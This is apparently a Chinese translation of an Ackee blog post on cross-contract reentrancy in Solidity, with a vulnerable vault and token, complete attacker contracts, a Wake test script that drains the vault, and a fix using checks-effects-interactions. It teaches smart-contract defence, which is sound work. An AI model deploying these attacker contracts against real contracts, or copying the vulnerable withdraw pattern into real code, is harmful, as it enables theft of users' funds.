跨合约重入攻击

  • Ackee
  • 发布于 2024-07-12 21:54
  • 阅读 23

本文深入探讨了跨合约重入攻击的工作原理,通过一个具体示例展示了攻击过程,并提供了防御此类攻击的指导方案。文章强调了此类攻击的复杂性,以及传统重入锁ReentrancyGuard的局限性,提出了使用CEI模式作为有效的防御手段。

这篇研究文章回顾了跨合约重入攻击如何工作、一个攻击示例,以及关于如何预防跨合约重入攻击的指导。

之前,我们讨论了单函数重入攻击跨函数重入攻击。 之前发现这些漏洞很容易,因为我们只需要检查用外部调用更新值是否不应该使用不同的值或更新该值。

什么是跨合约重入攻击?

跨合约重入攻击使用不同的智能合约来利用漏洞。 跨合约重入攻击中的代码更复杂,因为它使用了不同的合约,因此,我们应该搜索值在这些合约中是如何更新的。 此外,ReentrancyGuard无法阻止这些类型的攻击。

跨合约重入攻击示例

这是一个容易受到跨合约重入攻击的合约示例。

这里有一个 CCRToken 合约和一个 Vault 合约。 CCRToken 是 ERC20 的自定义 token。 并且 Vault 在 ETHCCRToken 之间进行交换。 Vault 存储 ETH

正如你在 Vault 合约中看到的,所有用户可调用函数都具有 nonReentrancy

因此,它无法进行单函数重入。 此外,Vault 合约中没有用于跨函数重入的 transfer 函数。 但是,类似于 transfer 函数位于 CCRToken 合约中。

这是 token 合约。

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract CCRToken is ERC20, Ownable {

    // (manager i.e. victim) is trusted, so only they can mint and burn token
    // (管理者,即受害者)是受信任的,所以只有他们可以铸造和销毁 token
    constructor(address manager) ERC20("CCRToken", "CCRT") Ownable(manager) {}

    // Only manager mint token
    // 只有管理者可以铸造 token
    function mint(address to, uint256 amount) external onlyOwner {
        _mint(to, amount);
    }
    // Burn token
    // 销毁 token
    function burn(address from, uint256 amount) external onlyOwner {
        _burn(from, amount);
    }
}

这是有漏洞的 Vault 合约。

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";

contract Vault is ReentrancyGuard, Ownable {
    CCRToken public customToken;

    constructor() Ownable(msg.sender) {}

    function setToken(address _customToken) external onlyOwner {
        customToken = CCRToken(_customToken);
    }

    function deposit() external payable nonReentrant {
        customToken.mint(msg.sender, msg.value); //eth to CCRT
    }

    function burnUser() internal {
        customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
    }

    /**
    * @notice Vulnerable function. similary cross function reentrancy but it is harder to find.
    * @notice 有漏洞的函数。 类似于跨函数重入,但更难找到。
    * it uses other contracts and it has different features from just variables.
    * 它使用其他合约,并且具有与变量不同的特性。
    */
    function  withdraw() external nonReentrant {
        uint256 balance = customToken.balanceOf(msg.sender);
        require(balance > 0, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: balance}("");
        // attacker calls transfer CCRT balance to another account in the callback function.
        // 攻击者在回调函数中调用 transfer CCRT 余额到另一个帐户。
        require(success, "Failed to send Ether");

        burnUser();
    }
}

攻击的思想与跨函数重入攻击类似。 攻击者执行 withdraw,它具有外部函数调用,并且在这里,即使此合约中的所有外部函数都具有 non-reentrant,我们也可以调用 transfer 函数,因为它位于 CCRToken 合约中。

攻击步骤示例

攻击在 attack 函数中完成。 调用 attack 函数后。

  1. 在 Vault 合约中调用 deposit 以准备攻击。
  2. 在 Vault 合约中调用 withdraw,它会向攻击者进行外部调用,并调用 receive 函数。
  3. receive 函数中,攻击者在 Token 合约中调用 transfer 并将 ERC20 值转移到 Attacker2
  4. 所以现在,Attacker 余额和 Attacker2 在 Token 中的总和是倍数。
  5. 调用 attacker2.send 将 Token 值从 Attacker2 发送到攻击者

我们可以重复这些步骤,直到耗尽 Vault。

攻击者合约

这是攻击合约。

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "./vault.sol";

contract Attacker1 {
    Vault victim;
    CCRToken ccrt;
    Attacker2 attacker2;
    uint256 amount = 1 ether;

    /**
     * @param _victim victim address
     * @param _ccrt  victim token ERC20 address
     */
    constructor(address _victim, address _ccrt) payable {
        victim = Vault(_victim);
        ccrt = CCRToken(_ccrt);
    }

    /**
     * @notice Set attacker2 contract
     * @notice 设置 attacker2 合约
     * @param _attacker2  attacker colleague address
     * @param _attacker2  攻击者同事地址
     */
    function setattacker2(address _attacker2) public {
        attacker2 = Attacker2(_attacker2);
    }

    /**
     * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2.
     * @notice 接收以太币。 与 withdraw() 的金额相同,但我们可以将相同金额转移到 attacker2。
     * Because burn balance of attacker1 after this function.
     * 因为在此函数之后会销毁 attacker1 的余额。
     * @dev triggered by victim.withdraw()
     * @dev 由 victim.withdraw() 触发
     */
    receive() external payable {
        ccrt.transfer(address(attacker2), msg.value);
    }

    /**
     * @notice deposit and we can repeatedly withdraw.
     * @notice 存款,我们可以反复取款。
     */
    function attack() public {
        uint256 value = address(this).balance;
        victim.deposit{value: value}();
        while(address(victim).balance >= amount){
            victim.withdraw();
            attacker2.send(address(this), value); //send ERC20 token that multiplied at recieve().
            // 发送在 receive() 中翻倍的 ERC20 token。
        }
    }
}

contract Attacker2 {
    Vault victim;
    CCRToken ccrt;
    uint256 amount = 1 ether;

    constructor(address _victim, address _ccrt) {
        victim = Vault(_victim);
        ccrt = CCRToken(_ccrt);
    }

    /**
     * @notice Just send ERC20 to the attacker
     * @notice 只是将 ERC20 发送给攻击者
     */
    function send(address _target, uint256 _amount) public {
        ccrt.transfer(_target, _amount);
    }
}

跨合约重入攻击的利用示例

它比之前的示例更复杂,但这些都是为了部署合约,最重要的一步是在 attack 函数调用中。

它部署了 Vault 和 token 并设置了这些地址。

类似地,初始化攻击者。 并在攻击者中调用 attack 函数。

from wake.testing import *

from pytypes.contracts.crosscontractreentrancy.token import  CCRToken
from pytypes.contracts.crosscontractreentrancy.vault import Vault

from pytypes.contracts.crosscontractreentrancy.attacker import Attacker1
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker2

@default_chain.connect()
def test_default():
    print("---------------------Cross Contract Reentrancy---------------------")
    victim = default_chain.accounts[0]
    attacker = default_chain.accounts[1]

    vault = Vault.deploy(from_=victim)
    token = CCRToken.deploy( vault.address ,from_=victim)
    vault.setToken(token.address)
    vault.deposit(from_=victim, value="4 ether")

    attacker_contract = Attacker1.deploy(vault.address, token.address, from_=attacker, value="1 ether")
    attacker2_contract = Attacker2.deploy(vault.address, token.address, from_=attacker)

    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
    print("Vault balance  : ", vault.balance)
    print("Attacker balace: ", attacker_contract.balance)
    print("----------Attack----------")

    tx = attacker_contract.attack(from_=attacker)
    print(tx.call_trace)

    print("Vault balance   : ", vault.balance)
    print("Attacker balance: ", attacker_contract.balance)

这是wake的输出。 我们可以看到 Vault 余额从 4 EHT 变为 0 ETH。 攻击者余额从 1 ETH 变为 5 ETH。

如何预防跨合约重入攻击

ReentrancyGuard

简单的重入保护无法阻止此攻击。

CEI(检查-效果-交互)

这是一个直接的解决方案,因为它消除了重入攻击的可能性。 这是预防重入攻击的最佳方法。

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";

contract Vault is ReentrancyGuard, Ownable {
    CCRToken public customToken;

    constructor() Ownable(msg.sender) {}

    function setToken(address _customToken) external onlyOwner {
        customToken = CCRToken(_customToken);
    }

    function deposit() external payable nonReentrant {
        customToken.mint(msg.sender, msg.value); //eth to CCRT
    }

    function burnUser() internal {
        customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
    }

    /**
    * @notice Vulnerable function. similary cross function reentrancy but it is harder to find.
    * @notice 有漏洞的函数。 类似于跨函数重入,但更难找到。
    * it uses other contracts and it has different features from just variables.
    * 它使用其他合约,并且具有与变量不同的特性。
    */
    function  withdraw() external nonReentrant {
        uint256 balance = customToken.balanceOf(msg.sender);
        require(balance > 0, "Insufficient balance");
        burnUser();
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");
    }
}

结论

跨合约重入的主要问题是 ReentrancyGuard 不起作用。 但是,问题始终是相同的,即不应使用函数中间的数据。 如果有多个合约,则入口状态的存储方式不同。 如果消除了这个问题,那么攻击就会停止。

我们有一个重入示例 Github 仓库,其中包含几种其他类型的重入攻击,包括攻击示例、特定于协议的重入和预防方法。

  • 原文链接: ackee.xyz/blog/cross-con...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Ackee
Ackee
Cybersecurity experts | We audit Ethereum and Solana | Creators of @WakeFramework , Solidity (Wake) & @TridentSolana | Educational partner of Solana Foundation